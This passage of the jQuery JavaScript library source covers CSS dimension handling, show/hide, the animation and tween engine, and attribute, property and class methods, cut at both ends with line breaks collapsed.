"subtract", e.g., when used as in cssHooks Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) : value; } function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) { var i = extra === ( isBorderBox ? "border" : "content" ) ? // If we already have the right measurement, avoid augmentation 4 : // Otherwise initialize for horizontal or vertical properties name === "width" ? 1 : 0, val = 0; for ( ; i < 4; i += 2 ) { // Both box models exclude margin, so add it if we want it if ( extra === "margin" ) { val += jQuery.css( elem, extra + cssExpand[ i ], true, styles ); } if ( isBorderBox ) { // border-box includes padding, so remove it if we want content if ( extra === "content" ) { val -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); } // At this point, extra isn't border nor margin, so remove border if ( extra !== "margin" ) { val -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } } else { // At this point, extra isn't content, so add padding val += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); // At this point, extra isn't content nor padding, so add border if ( extra !== "padding" ) { val += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } } } return val; } function getWidthOrHeight( elem, name, extra ) { // Start with offset property, which is equivalent to the border-box value var valueIsBorderBox = true, val = name === "width" ? elem.offsetWidth : elem.offsetHeight, styles = getStyles( elem ), isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box"; // Some non-html elements return undefined for offsetWidth, so check for null/undefined // svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285 // MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668 if ( val <= 0 || val == null ) { // Fall back to computed then uncomputed css if necessary val = curCSS( elem, name, styles ); if ( val < 0 || val == null ) { val = elem.style[ name ]; } // Computed unit is not pixels. Stop here and return. if ( rnumnonpx.test( val ) ) { return val; } // Check for style in case a browser which returns unreliable values // for getComputedStyle silently falls back to the reliable elem.style valueIsBorderBox = isBorderBox && ( support.boxSizingReliable() || val === elem.style[ name ] ); // Normalize "", auto, and prepare for extra val = parseFloat( val ) || 0; } // Use the active box-sizing model to add/subtract irrelevant styles return ( val + augmentWidthOrHeight( elem, name, extra || ( isBorderBox ? "border" : "content" ), valueIsBorderBox, styles ) ) + "px"; } function showHide( elements, show ) { var display, elem, hidden, values = [], index = 0, length = elements.length; for ( ; index < length; index++ ) { elem = elements[ index ]; if ( !elem.style ) { continue; } values[ index ] = dataPriv.get( elem, "olddisplay" ); display = elem.style.display; if ( show ) { // Reset the inline display of this element to learn if it is // being hidden by cascaded rules or not if ( !values[ index ] && display === "none" ) { elem.style.display = ""; } // Set elements which have been overridden with display: none // in a stylesheet to whatever the default browser style is // for such an element if ( elem.style.display === "" && isHidden( elem ) ) { values[ index ] = dataPriv.access( elem, "olddisplay", defaultDisplay( elem.nodeName ) ); } } else { hidden = isHidden( elem ); if ( display !== "none" || !hidden ) { dataPriv.set( elem, "olddisplay", hidden ? display : jQuery.css( elem, "display" ) ); } } } // Set the display of most of the elements in a second loop // to avoid the constant reflow for ( index = 0; index < length; index++ ) { elem = elements[ index ]; if ( !elem.style ) { continue; } if ( !show || elem.style.display === "none" || elem.style.display === "" ) { elem.style.display = show ? values[ index ] || "" : "none"; } } return elements; } jQuery.extend( { // Add in style property hooks for overriding the default // behavior of getting and setting a style property cssHooks: { opacity: { get: function( elem, computed ) { if ( computed ) { // We should always get a number back from opacity var ret = curCSS( elem, "opacity" ); return ret === "" ? "1" : ret; } } } }, // Don't automatically add "px" to these possibly-unitless properties cssNumber: { "animationIterationCount": true, "columnCount": true, "fillOpacity": true, "flexGrow": true, "flexShrink": true, "fontWeight": true, "lineHeight": true, "opacity": true, "order": true, "orphans": true, "widows": true, "zIndex": true, "zoom": true }, // Add in properties whose names you wish to fix before // setting or getting the value cssProps: { "float": "cssFloat" }, // Get and set the style property on a DOM Node style: function( elem, name, value, extra ) { // Don't set styles on text and comment nodes if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) { return; } // Make sure that we're working with the right name var ret, type, hooks, origName = jQuery.camelCase( name ), style = elem.style; name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( origName ) || origName ); // Gets hook for the prefixed version, then unprefixed version hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // Check if we're setting a value if ( value !== undefined ) { type = typeof value; // Convert "+=" or "-=" to relative numbers (#7345) if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) { value = adjustCSS( elem, name, ret ); // Fixes bug #9237 type = "number"; } // Make sure that null and NaN values aren't set (#7116) if ( value == null || value !== value ) { return; } // If a number was passed in, add the unit (except for certain CSS properties) if ( type === "number" ) { value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" ); } // Support: IE9-11+ // background-* props affect original clone's values if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) { style[ name ] = "inherit"; } // If a hook was provided, use that value, otherwise just set the specified value if ( !hooks || !( "set" in hooks ) || ( value = hooks.set( elem, value, extra ) ) !== undefined ) { style[ name ] = value; } } else { // If a hook was provided get the non-computed value from there if ( hooks && "get" in hooks && ( ret = hooks.get( elem, false, extra ) ) !== undefined ) { return ret; } // Otherwise just get the value from the style object return style[ name ]; } }, css: function( elem, name, extra, styles ) { var val, num, hooks, origName = jQuery.camelCase( name ); // Make sure that we're working with the right name name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( origName ) || origName ); // Try prefixed name followed by the unprefixed name hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // If a hook was provided get the computed value from there if ( hooks && "get" in hooks ) { val = hooks.get( elem, true, extra ); } // Otherwise, if a way to get the computed value exists, use that if ( val === undefined ) { val = curCSS( elem, name, styles ); } // Convert "normal" to computed value if ( val === "normal" && name in cssNormalTransform ) { val = cssNormalTransform[ name ]; } // Make numeric if forced or a qualifier was provided and val looks numeric if ( extra === "" || extra ) { num = parseFloat( val ); return extra === true || isFinite( num ) ? num || 0 : val; } return val; } } ); jQuery.each( [ "height", "width" ], function( i, name ) { jQuery.cssHooks[ name ] = { get: function( elem, computed, extra ) { if ( computed ) { // Certain elements can have dimension info if we invisibly show them // but it must have a current display style that would benefit return rdisplayswap.test( jQuery.css( elem, "display" ) ) && elem.offsetWidth === 0 ? swap( elem, cssShow, function() { return getWidthOrHeight( elem, name, extra ); } ) : getWidthOrHeight( elem, name, extra ); } }, set: function( elem, value, extra ) { var matches, styles = extra && getStyles( elem ), subtract = extra && augmentWidthOrHeight( elem, name, extra, jQuery.css( elem, "boxSizing", false, styles ) === "border-box", styles ); // Convert to pixels if value adjustment is needed if ( subtract && ( matches = rcssNum.exec( value ) ) && ( matches[ 3 ] || "px" ) !== "px" ) { elem.style[ name ] = value; value = jQuery.css( elem, name ); } return setPositiveNumber( elem, value, subtract ); } }; } ); jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft, function( elem, computed ) { if ( computed ) { return ( parseFloat( curCSS( elem, "marginLeft" ) ) || elem.getBoundingClientRect().left - swap( elem, { marginLeft: 0 }, function() { return elem.getBoundingClientRect().left; } ) ) + "px"; } } ); // Support: Android 2.3 jQuery.cssHooks.marginRight = addGetHookIf( support.reliableMarginRight, function( elem, computed ) { if ( computed ) { return swap( elem, { "display": "inline-block" }, curCSS, [ elem, "marginRight" ] ); } } ); // These hooks are used by animate to expand properties jQuery.each( { margin: "", padding: "", border: "Width" }, function( prefix, suffix ) { jQuery.cssHooks[ prefix + suffix ] = { expand: function( value ) { var i = 0, expanded = {}, // Assumes a single number if not a string parts = typeof value === "string" ? value.split( " " ) : [ value ]; for ( ; i < 4; i++ ) { expanded[ prefix + cssExpand[ i ] + suffix ] = parts[ i ] || parts[ i - 2 ] || parts[ 0 ]; } return expanded; } }; if ( !rmargin.test( prefix ) ) { jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber; } } ); jQuery.fn.extend( { css: function( name, value ) { return access( this, function( elem, name, value ) { var styles, len, map = {}, i = 0; if ( jQuery.isArray( name ) ) { styles = getStyles( elem ); len = name.length; for ( ; i < len; i++ ) { map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles ); } return map; } return value !== undefined ? jQuery.style( elem, name, value ) : jQuery.css( elem, name ); }, name, value, arguments.length > 1 ); }, show: function() { return showHide( this, true ); }, hide: function() { return showHide( this ); }, toggle: function( state ) { if ( typeof state === "boolean" ) { return state ? this.show() : this.hide(); } return this.each( function() { if ( isHidden( this ) ) { jQuery( this ).show(); } else { jQuery( this ).hide(); } } ); } } ); function Tween( elem, options, prop, end, easing ) { return new Tween.prototype.init( elem, options, prop, end, easing ); } jQuery.Tween = Tween; Tween.prototype = { constructor: Tween, init: function( elem, options, prop, end, easing, unit ) { this.elem = elem; this.prop = prop; this.easing = easing || jQuery.easing._default; this.options = options; this.start = this.now = this.cur(); this.end = end; this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" ); }, cur: function() { var hooks = Tween.propHooks[ this.prop ]; return hooks && hooks.get ? hooks.get( this ) : Tween.propHooks._default.get( this ); }, run: function( percent ) { var eased, hooks = Tween.propHooks[ this.prop ]; if ( this.options.duration ) { this.pos = eased = jQuery.easing[ this.easing ]( percent, this.options.duration * percent, 0, 1, this.options.duration ); } else { this.pos = eased = percent; } this.now = ( this.end - this.start ) * eased + this.start; if ( this.options.step ) { this.options.step.call( this.elem, this.now, this ); } if ( hooks && hooks.set ) { hooks.set( this ); } else { Tween.propHooks._default.set( this ); } return this; } }; Tween.prototype.init.prototype = Tween.prototype; Tween.propHooks = { _default: { get: function( tween ) { var result; // Use a property on the element directly when it is not a DOM element, // or when there is no matching style property that exists. if ( tween.elem.nodeType !== 1 || tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) { return tween.elem[ tween.prop ]; } // Passing an empty string as a 3rd parameter to .css will automatically // attempt a parseFloat and fallback to a string if the parse fails. // Simple values such as "10px" are parsed to Float; // complex values such as "rotate(1rad)" are returned as-is. result = jQuery.css( tween.elem, tween.prop, "" ); // Empty strings, null, undefined and "auto" are converted to 0. return !result || result === "auto" ? 0 : result; }, set: function( tween ) { // Use step hook for back compat. // Use cssHook if its there. // Use .style if available and use plain properties where available. if ( jQuery.fx.step[ tween.prop ] ) { jQuery.fx.step[ tween.prop ]( tween ); } else if ( tween.elem.nodeType === 1 && ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null || jQuery.cssHooks[ tween.prop ] ) ) { jQuery.style( tween.elem, tween.prop, tween.now + tween.unit ); } else { tween.elem[ tween.prop ] = tween.now; } } } }; // Support: IE9 // Panic based approach to setting things on disconnected nodes Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = { set: function( tween ) { if ( tween.elem.nodeType && tween.elem.parentNode ) { tween.elem[ tween.prop ] = tween.now; } } }; jQuery.easing = { linear: function( p ) { return p; }, swing: function( p ) { return 0.5 - Math.cos( p * Math.PI ) / 2; }, _default: "swing" }; jQuery.fx = Tween.prototype.init; // Back Compat <1.8 extension point jQuery.fx.step = {}; var fxNow, timerId, rfxtypes = /^(?:toggle|show|hide)$/, rrun = /queueHooks$/; // Animations created synchronously will run synchronously function createFxNow() { window.setTimeout( function() { fxNow = undefined; } ); return ( fxNow = jQuery.now() ); } // Generate parameters to create a standard animation function genFx( type, includeWidth ) { var which, i = 0, attrs = { height: type }; // If we include width, step value is 1 to do all cssExpand values, // otherwise step value is 2 to skip over Left and Right includeWidth = includeWidth ? 1 : 0; for ( ; i < 4 ; i += 2 - includeWidth ) { which = cssExpand[ i ]; attrs[ "margin" + which ] = attrs[ "padding" + which ] = type; } if ( includeWidth ) { attrs.opacity = attrs.width = type; } return attrs; } function createTween( value, prop, animation ) { var tween, collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ), index = 0, length = collection.length; for ( ; index < length; index++ ) { if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) { // We're done with this property return tween; } } } function defaultPrefilter( elem, props, opts ) { /* jshint validthis: true */ var prop, value, toggle, tween, hooks, oldfire, display, checkDisplay, anim = this, orig = {}, style = elem.style, hidden = elem.nodeType && isHidden( elem ), dataShow = dataPriv.get( elem, "fxshow" ); // Handle queue: false promises if ( !opts.queue ) { hooks = jQuery._queueHooks( elem, "fx" ); if ( hooks.unqueued == null ) { hooks.unqueued = 0; oldfire = hooks.empty.fire; hooks.empty.fire = function() { if ( !hooks.unqueued ) { oldfire(); } }; } hooks.unqueued++; anim.always( function() { // Ensure the complete handler is called before this completes anim.always( function() { hooks.unqueued--; if ( !jQuery.queue( elem, "fx" ).length ) { hooks.empty.fire(); } } ); } ); } // Height/width overflow pass if ( elem.nodeType === 1 && ( "height" in props || "width" in props ) ) { // Make sure that nothing sneaks out // Record all 3 overflow attributes because IE9-10 do not // change the overflow attribute when overflowX and // overflowY are set to the same value opts.overflow = [ style.overflow, style.overflowX, style.overflowY ]; // Set display property to inline-block for height/width // animations on inline elements that are having width/height animated display = jQuery.css( elem, "display" ); // Test default display if display is currently "none" checkDisplay = display === "none" ? dataPriv.get( elem, "olddisplay" ) || defaultDisplay( elem.nodeName ) : display; if ( checkDisplay === "inline" && jQuery.css( elem, "float" ) === "none" ) { style.display = "inline-block"; } } if ( opts.overflow ) { style.overflow = "hidden"; anim.always( function() { style.overflow = opts.overflow[ 0 ]; style.overflowX = opts.overflow[ 1 ]; style.overflowY = opts.overflow[ 2 ]; } ); } // show/hide pass for ( prop in props ) { value = props[ prop ]; if ( rfxtypes.exec( value ) ) { delete props[ prop ]; toggle = toggle || value === "toggle"; if ( value === ( hidden ? "hide" : "show" ) ) { // If there is dataShow left over from a stopped hide or show // and we are going to proceed with show, we should pretend to be hidden if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) { hidden = true; } else { continue; } } orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop ); // Any non-fx value stops us from restoring the original display value } else { display = undefined; } } if ( !jQuery.isEmptyObject( orig ) ) { if ( dataShow ) { if ( "hidden" in dataShow ) { hidden = dataShow.hidden; } } else { dataShow = dataPriv.access( elem, "fxshow", {} ); } // Store state if its toggle - enables .stop().toggle() to "reverse" if ( toggle ) { dataShow.hidden = !hidden; } if ( hidden ) { jQuery( elem ).show(); } else { anim.done( function() { jQuery( elem ).hide(); } ); } anim.done( function() { var prop; dataPriv.remove( elem, "fxshow" ); for ( prop in orig ) { jQuery.style( elem, prop, orig[ prop ] ); } } ); for ( prop in orig ) { tween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim ); if ( !( prop in dataShow ) ) { dataShow[ prop ] = tween.start; if ( hidden ) { tween.end = tween.start; tween.start = prop === "width" || prop === "height" ? 1 : 0; } } } // If this is a noop like .hide().hide(), restore an overwritten display value } else if ( ( display === "none" ? defaultDisplay( elem.nodeName ) : display ) === "inline" ) { style.display = display; } } function propFilter( props, specialEasing ) { var index, name, easing, value, hooks; // camelCase, specialEasing and expand cssHook pass for ( index in props ) { name = jQuery.camelCase( index ); easing = specialEasing[ name ]; value = props[ index ]; if ( jQuery.isArray( value ) ) { easing = value[ 1 ]; value = props[ index ] = value[ 0 ]; } if ( index !== name ) { props[ name ] = value; delete props[ index ]; } hooks = jQuery.cssHooks[ name ]; if ( hooks && "expand" in hooks ) { value = hooks.expand( value ); delete props[ name ]; // Not quite $.extend, this won't overwrite existing keys. // Reusing 'index' because we have the correct "name" for ( index in value ) { if ( !( index in props ) ) { props[ index ] = value[ index ]; specialEasing[ index ] = easing; } } } else { specialEasing[ name ] = easing; } } } function Animation( elem, properties, options ) { var result, stopped, index = 0, length = Animation.prefilters.length, deferred = jQuery.Deferred().always( function() { // Don't match elem in the :animated selector delete tick.elem; } ), tick = function() { if ( stopped ) { return false; } var currentTime = fxNow || createFxNow(), remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ), // Support: Android 2.3 // Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497) temp = remaining / animation.duration || 0, percent = 1 - temp, index = 0, length = animation.tweens.length; for ( ; index < length ; index++ ) { animation.tweens[ index ].run( percent ); } deferred.notifyWith( elem, [ animation, percent, remaining ] ); if ( percent < 1 && length ) { return remaining; } else { deferred.resolveWith( elem, [ animation ] ); return false; } }, animation = deferred.promise( { elem: elem, props: jQuery.extend( {}, properties ), opts: jQuery.extend( true, { specialEasing: {}, easing: jQuery.easing._default }, options ), originalProperties: properties, originalOptions: options, startTime: fxNow || createFxNow(), duration: options.duration, tweens: [], createTween: function( prop, end ) { var tween = jQuery.Tween( elem, animation.opts, prop, end, animation.opts.specialEasing[ prop ] || animation.opts.easing ); animation.tweens.push( tween ); return tween; }, stop: function( gotoEnd ) { var index = 0, // If we are going to the end, we want to run all the tweens // otherwise we skip this part length = gotoEnd ? animation.tweens.length : 0; if ( stopped ) { return this; } stopped = true; for ( ; index < length ; index++ ) { animation.tweens[ index ].run( 1 ); } // Resolve when we played the last frame; otherwise, reject if ( gotoEnd ) { deferred.notifyWith( elem, [ animation, 1, 0 ] ); deferred.resolveWith( elem, [ animation, gotoEnd ] ); } else { deferred.rejectWith( elem, [ animation, gotoEnd ] ); } return this; } } ), props = animation.props; propFilter( props, animation.opts.specialEasing ); for ( ; index < length ; index++ ) { result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts ); if ( result ) { if ( jQuery.isFunction( result.stop ) ) { jQuery._queueHooks( animation.elem, animation.opts.queue ).stop = jQuery.proxy( result.stop, result ); } return result; } } jQuery.map( props, createTween, animation ); if ( jQuery.isFunction( animation.opts.start ) ) { animation.opts.start.call( elem, animation ); } jQuery.fx.timer( jQuery.extend( tick, { elem: elem, anim: animation, queue: animation.opts.queue } ) ); // attach callbacks from options return animation.progress( animation.opts.progress ) .done( animation.opts.done, animation.opts.complete ) .fail( animation.opts.fail ) .always( animation.opts.always ); } jQuery.Animation = jQuery.extend( Animation, { tweeners: { "*": [ function( prop, value ) { var tween = this.createTween( prop, value ); adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween ); return tween; } ] }, tweener: function( props, callback ) { if ( jQuery.isFunction( props ) ) { callback = props; props = [ "*" ]; } else { props = props.match( rnotwhite ); } var prop, index = 0, length = props.length; for ( ; index < length ; index++ ) { prop = props[ index ]; Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || []; Animation.tweeners[ prop ].unshift( callback ); } }, prefilters: [ defaultPrefilter ], prefilter: function( callback, prepend ) { if ( prepend ) { Animation.prefilters.unshift( callback ); } else { Animation.prefilters.push( callback ); } } } ); jQuery.speed = function( speed, easing, fn ) { var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : { complete: fn || !fn && easing || jQuery.isFunction( speed ) && speed, duration: speed, easing: fn && easing || easing && !jQuery.isFunction( easing ) && easing }; opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration : opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default; // Normalize opt.queue - true/undefined/null -> "fx" if ( opt.queue == null || opt.queue === true ) { opt.queue = "fx"; } // Queueing opt.old = opt.complete; opt.complete = function() { if ( jQuery.isFunction( opt.old ) ) { opt.old.call( this ); } if ( opt.queue ) { jQuery.dequeue( this, opt.queue ); } }; return opt; }; jQuery.fn.extend( { fadeTo: function( speed, to, easing, callback ) { // Show any hidden elements after setting opacity to 0 return this.filter( isHidden ).css( "opacity", 0 ).show() // Animate to the value specified .end().animate( { opacity: to }, speed, easing, callback ); }, animate: function( prop, speed, easing, callback ) { var empty = jQuery.isEmptyObject( prop ), optall = jQuery.speed( speed, easing, callback ), doAnimation = function() { // Operate on a copy of prop so per-property easing won't be lost var anim = Animation( this, jQuery.extend( {}, prop ), optall ); // Empty animations, or finishing resolves immediately if ( empty || dataPriv.get( this, "finish" ) ) { anim.stop( true ); } }; doAnimation.finish = doAnimation; return empty || optall.queue === false ? this.each( doAnimation ) : this.queue( optall.queue, doAnimation ); }, stop: function( type, clearQueue, gotoEnd ) { var stopQueue = function( hooks ) { var stop = hooks.stop; delete hooks.stop; stop( gotoEnd ); }; if ( typeof type !== "string" ) { gotoEnd = clearQueue; clearQueue = type; type = undefined; } if ( clearQueue && type !== false ) { this.queue( type || "fx", [] ); } return this.each( function() { var dequeue = true, index = type != null && type + "queueHooks", timers = jQuery.timers, data = dataPriv.get( this ); if ( index ) { if ( data[ index ] && data[ index ].stop ) { stopQueue( data[ index ] ); } } else { for ( index in data ) { if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) { stopQueue( data[ index ] ); } } } for ( index = timers.length; index--; ) { if ( timers[ index ].elem === this && ( type == null || timers[ index ].queue === type ) ) { timers[ index ].anim.stop( gotoEnd ); dequeue = false; timers.splice( index, 1 ); } } // Start the next in the queue if the last step wasn't forced. // Timers currently will call their complete callbacks, which // will dequeue but only if they were gotoEnd. if ( dequeue || !gotoEnd ) { jQuery.dequeue( this, type ); } } ); }, finish: function( type ) { if ( type !== false ) { type = type || "fx"; } return this.each( function() { var index, data = dataPriv.get( this ), queue = data[ type + "queue" ], hooks = data[ type + "queueHooks" ], timers = jQuery.timers, length = queue ? queue.length : 0; // Enable finishing flag on private data data.finish = true; // Empty the queue first jQuery.queue( this, type, [] ); if ( hooks && hooks.stop ) { hooks.stop.call( this, true ); } // Look for any active animations, and finish them for ( index = timers.length; index--; ) { if ( timers[ index ].elem === this && timers[ index ].queue === type ) { timers[ index ].anim.stop( true ); timers.splice( index, 1 ); } } // Look for any animations in the old queue and finish them for ( index = 0; index < length; index++ ) { if ( queue[ index ] && queue[ index ].finish ) { queue[ index ].finish.call( this ); } } // Turn off finishing flag delete data.finish; } ); } } ); jQuery.each( [ "toggle", "show", "hide" ], function( i, name ) { var cssFn = jQuery.fn[ name ]; jQuery.fn[ name ] = function( speed, easing, callback ) { return speed == null || typeof speed === "boolean" ? cssFn.apply( this, arguments ) : this.animate( genFx( name, true ), speed, easing, callback ); }; } ); // Generate shortcuts for custom animations jQuery.each( { slideDown: genFx( "show" ), slideUp: genFx( "hide" ), slideToggle: genFx( "toggle" ), fadeIn: { opacity: "show" }, fadeOut: { opacity: "hide" }, fadeToggle: { opacity: "toggle" } }, function( name, props ) { jQuery.fn[ name ] = function( speed, easing, callback ) { return this.animate( props, speed, easing, callback ); }; } ); jQuery.timers = []; jQuery.fx.tick = function() { var timer, i = 0, timers = jQuery.timers; fxNow = jQuery.now(); for ( ; i < timers.length; i++ ) { timer = timers[ i ]; // Checks the timer has not already been removed if ( !timer() && timers[ i ] === timer ) { timers.splice( i--, 1 ); } } if ( !timers.length ) { jQuery.fx.stop(); } fxNow = undefined; }; jQuery.fx.timer = function( timer ) { jQuery.timers.push( timer ); if ( timer() ) { jQuery.fx.start(); } else { jQuery.timers.pop(); } }; jQuery.fx.interval = 13; jQuery.fx.start = function() { if ( !timerId ) { timerId = window.setInterval( jQuery.fx.tick, jQuery.fx.interval ); } }; jQuery.fx.stop = function() { window.clearInterval( timerId ); timerId = null; }; jQuery.fx.speeds = { slow: 600, fast: 200, // Default speed _default: 400 }; // Based off of the plugin by Clint Helfers, with permission. // http://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/ jQuery.fn.delay = function( time, type ) { time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; type = type || "fx"; return this.queue( type, function( next, hooks ) { var timeout = window.setTimeout( next, time ); hooks.stop = function() { window.clearTimeout( timeout ); }; } ); }; ( function() { var input = document.createElement( "input" ), select = document.createElement( "select" ), opt = select.appendChild( document.createElement( "option" ) ); input.type = "checkbox"; // Support: iOS<=5.1, Android<=4.2+ // Default value for a checkbox should be "on" support.checkOn = input.value !== ""; // Support: IE<=11+ // Must access selectedIndex to make default options select support.optSelected = opt.selected; // Support: Android<=2.3 // Options inside disabled selects are incorrectly marked as disabled select.disabled = true; support.optDisabled = !opt.disabled; // Support: IE<=11+ // An input loses its value after becoming a radio input = document.createElement( "input" ); input.value = "t"; input.type = "radio"; support.radioValue = input.value === "t"; } )(); var boolHook, attrHandle = jQuery.expr.attrHandle; jQuery.fn.extend( { attr: function( name, value ) { return access( this, jQuery.attr, name, value, arguments.length > 1 ); }, removeAttr: function( name ) { return this.each( function() { jQuery.removeAttr( this, name ); } ); } } ); jQuery.extend( { attr: function( elem, name, value ) { var ret, hooks, nType = elem.nodeType; // Don't get/set attributes on text, comment and attribute nodes if ( nType === 3 || nType === 8 || nType === 2 ) { return; } // Fallback to prop when attributes are not supported if ( typeof elem.getAttribute === "undefined" ) { return jQuery.prop( elem, name, value ); } // All attributes are lowercase // Grab necessary hook if one is defined if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { name = name.toLowerCase(); hooks = jQuery.attrHooks[ name ] || ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined ); } if ( value !== undefined ) { if ( value === null ) { jQuery.removeAttr( elem, name ); return; } if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } elem.setAttribute( name, value + "" ); return value; } if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { return ret; } ret = jQuery.find.attr( elem, name ); // Non-existent attributes return null, we normalize to undefined return ret == null ? undefined : ret; }, attrHooks: { type: { set: function( elem, value ) { if ( !support.radioValue && value === "radio" && jQuery.nodeName( elem, "input" ) ) { var val = elem.value; elem.setAttribute( "type", value ); if ( val ) { elem.value = val; } return value; } } } }, removeAttr: function( elem, value ) { var name, propName, i = 0, attrNames = value && value.match( rnotwhite ); if ( attrNames && elem.nodeType === 1 ) { while ( ( name = attrNames[ i++ ] ) ) { propName = jQuery.propFix[ name ] || name; // Boolean attributes get special treatment (#10870) if ( jQuery.expr.match.bool.test( name ) ) { // Set corresponding property to false elem[ propName ] = false; } elem.removeAttribute( name ); } } } } ); // Hooks for boolean attributes boolHook = { set: function( elem, value, name ) { if ( value === false ) { // Remove boolean attributes when set to false jQuery.removeAttr( elem, name ); } else { elem.setAttribute( name, name ); } return name; } }; jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) { var getter = attrHandle[ name ] || jQuery.find.attr; attrHandle[ name ] = function( elem, name, isXML ) { var ret, handle; if ( !isXML ) { // Avoid an infinite loop by temporarily removing this function from the getter handle = attrHandle[ name ]; attrHandle[ name ] = ret; ret = getter( elem, name, isXML ) != null ? name.toLowerCase() : null; attrHandle[ name ] = handle; } return ret; }; } ); var rfocusable = /^(?:input|select|textarea|button)$/i, rclickable = /^(?:a|area)$/i; jQuery.fn.extend( { prop: function( name, value ) { return access( this, jQuery.prop, name, value, arguments.length > 1 ); }, removeProp: function( name ) { return this.each( function() { delete this[ jQuery.propFix[ name ] || name ]; } ); } } ); jQuery.extend( { prop: function( elem, name, value ) { var ret, hooks, nType = elem.nodeType; // Don't get/set properties on text, comment and attribute nodes if ( nType === 3 || nType === 8 || nType === 2 ) { return; } if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { // Fix name and attach hooks name = jQuery.propFix[ name ] || name; hooks = jQuery.propHooks[ name ]; } if ( value !== undefined ) { if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } return ( elem[ name ] = value ); } if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { return ret; } return elem[ name ]; }, propHooks: { tabIndex: { get: function( elem ) { // elem.tabIndex doesn't always return the // correct value when it hasn't been explicitly set // http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ // Use proper attribute retrieval(#12072) var tabindex = jQuery.find.attr( elem, "tabindex" ); return tabindex ? parseInt( tabindex, 10 ) : rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ? 0 : -1; } } }, propFix: { "for": "htmlFor", "class": "className" } } ); // Support: IE <=11 only // Accessing the selectedIndex property // forces the browser to respect setting selected // on the option // The getter ensures a default option is selected // when in an optgroup if ( !support.optSelected ) { jQuery.propHooks.selected = { get: function( elem ) { var parent = elem.parentNode; if ( parent && parent.parentNode ) { parent.parentNode.selectedIndex; } return null; }, set: function( elem ) { var parent = elem.parentNode; if ( parent ) { parent.selectedIndex; if ( parent.parentNode ) { parent.parentNode.selectedIndex; } } } }; } jQuery.each( [ "tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable" ], function() { jQuery.propFix[ this.toLowerCase() ] = this; } ); var rclass = /[\t\r\n\f]/g; function getClass( elem ) { return elem.getAttribute && elem.getAttribute( "class" ) || ""; } jQuery.fn.extend( { addClass: function( value ) { var classes, elem, cur, curValue, clazz, j, finalValue, i = 0; if ( jQuery.isFunction( value ) ) { return this.each( function( j ) { jQuery( this ).addClass( value.call( this, j, getClass( this ) ) ); } ); } if ( typeof value === "string" && value ) { classes = value.match( rnotwhite ) || []; while ( ( elem = this[ i++ ] ) ) { curValue = getClass( elem ); cur = elem.nodeType === 1 && ( " " + curValue + " " ).replace( rclass, " " ); if ( cur ) { j = 0; while ( ( clazz = classes[ j++ ] ) ) { if ( cur.indexOf( " " + clazz + " " ) < 0 ) { cur += clazz + " "; } } // Only assign if different to avoid unneeded rendering. finalValue = jQuery.trim( cur ); if ( curValue !== finalValue ) { elem.setAttribute( "class", finalValue ); } } } } return this; }, removeClass: function( value ) { var classes, elem, cur, curValue, clazz, j, finalValue, i = 0; if ( jQuery.isFunction( value ) ) { return this.each( function( j ) { jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) ); } ); } if ( !arguments.length ) { return this.attr( "class", "" ); } if ( typeof value === "string" && value ) { classes = value.match( rnotwhite ) || []; while ( ( elem = this[ i++ ] ) ) { curValue = getClass( elem 